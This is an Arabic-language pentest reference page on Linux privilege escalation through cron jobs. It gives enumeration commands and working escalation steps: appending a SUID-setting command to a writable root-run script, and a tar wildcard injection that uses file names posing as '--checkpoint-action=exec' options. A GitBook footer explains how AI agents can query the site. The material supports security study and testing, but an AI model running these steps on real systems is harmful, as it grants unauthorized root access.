> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/privesc/cron-jobs.md).

# مهام Cron

تُنشئ مهام Cron مسارات لتصعيد الامتيازات عندما تُشغّل مهام الجذر المتكررة نصوصًا قابلةً للكتابة، أو مسارات نسبية غير آمنة، أو معالجات ضعيفة. المفتاح هو إثبات أن مستخدمًا منخفض الامتيازات يتحكم في شيء ستشغّله مهمة مجدولة ذات امتيازات.

## المنهجية

* راجع جداول crontab الخاصة بالنظام، ومجلدات cron، والمؤقتات، والبرامج النصية القابلة للكتابة.
* استخدم pspy64 لمراقبة العمليات قصيرة العمر بدون صلاحيات الجذر.
* تحقق مما إذا كانت المهمة تستخدم قيم PATH غير آمنة، أو ملفات قابلة للكتابة، أو أدلة إدخال يتحكم بها المهاجم.

## فحوصات سريعة

```bash
crontab -l
cat /etc/crontab
ls -la /etc/cron.*
cat /etc/cron* 2>/dev/null
find /etc/cron* -type f -exec ls -la {} \; 2>/dev/null
find /var/spool/cron -type f -exec ls -la {} \; 2>/dev/null
systemctl list-timers --all
```

## أهداف Cron القابلة للكتابة

ابحث عن البرامج النصية أو الأدلة التي تنفذها مهمة cron ذات الامتيازات ويمكن لمستخدم منخفض الامتيازات تعديلها.

```bash
find /etc/cron* -type f -writable 2>/dev/null
find / -writable -type f -path "*cron*" 2>/dev/null
```

استخدم `pspy64` عندما تكون مهام cron قصيرة العمر أو غير مرئية في الملفات الثابتة:

```bash
./pspy64
```

إذا كانت مهمة cron بصلاحيات الجذر تُشغّل برنامجًا نصيًا قابلًا للكتابة، فمسار تحقق بسيط هو تعيين بت SUID على Bash والانتظار حتى يُنفَّذ الجدول:

```bash
echo 'chmod +s /bin/bash' >> /path/to/writable/script.sh
/bin/bash -p
```

### حقن البدل

إذا كانت مهمة cron تستخدم أوامر أرشفة مع أحرف بدل على دليل قابل للكتابة، فقد تصبح أسماء الملفات خيارات للأوامر.

```bash
cd /var/www/
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > exploit.sh
chmod +x exploit.sh
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh exploit.sh"
```

بعد تشغيل مهمة cron:

```bash
/tmp/bash -p
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>حاسبة تعبيرات Cron</h4></td><td>ابحث عن تعبيرات cron الشائعة، والسلاسل الخاصة، وبنية الحقول، ومعاني الجداول، وملاحظات مراجعة تصعيد الامتيازات.</td><td><a href="/pages/9660dbcdb56d6adda6ce476546f51663422b24c5">/pages/9660dbcdb56d6adda6ce476546f51663422b24c5</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>إحصاء Cron باستخدام pspy64</h4></td><td>ملاحظات أداة pspy64 لتصعيد امتيازات Linux، مع خطوات الإحصاء، وأمثلة الاستغلال، والتحقق الموجَّه لإعداد التقارير.</td><td><a href="/pages/88d48d8d5bef6faa9fafe71280c75691cf10565f">/pages/88d48d8d5bef6faa9fafe71280c75691cf10565f</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>مهمة Cron بنص Bash معدَّل</h4></td><td>ملاحظات Cron Jobs - Modified Script (Bash) لتصعيد امتيازات Linux، مع خطوات الإحصاء، وأمثلة الاستغلال، والتحقق الموجَّه لإعداد التقارير.</td><td><a href="/pages/b11ed039560a42f89700e3e41c68f4a60fa1f075">/pages/b11ed039560a42f89700e3e41c68f4a60fa1f075</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>مهمة Cron بنص Python معدَّل</h4></td><td>ملاحظات Cron Jobs - Modified Script (Python) لتصعيد امتيازات Linux، مع خطوات الإحصاء، وأمثلة الاستغلال، والتحقق الموجَّه لإعداد التقارير.</td><td><a href="/pages/7a7539691e0c1093253ab6885d5af16c3129412d">/pages/7a7539691e0c1093253ab6885d5af16c3129412d</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>إساءة استخدام ImageMagick عبر Cron</h4></td><td>ملاحظات Cron Jobs - ImageMagick Exploitation لتصعيد امتيازات Linux، مع خطوات الإحصاء، وأمثلة الاستغلال، والتحقق الموجَّه لإعداد التقارير.</td><td><a href="/pages/2a0ac8dafc6a39892884af5ed07bb916977e99e2">/pages/2a0ac8dafc6a39892884af5ed07bb916977e99e2</a></td></tr><tr><td><h3><i class="fa-clock" style="color:$primary;">:clock:</i></h3></td><td><h4>إساءة استخدام Logstash عبر Cron</h4></td><td>ملاحظات Cron Jobs (Logstash) لتصعيد امتيازات Linux، مع خطوات الإحصاء، وأمثلة الاستغلال، والتحقق الموجَّه لإعداد التقارير.</td><td><a href="/pages/e9c0cc9b188390ca66e2be4c28dabde876761b59">/pages/e9c0cc9b188390ca66e2be4c28dabde876761b59</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/privesc/cron-jobs.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
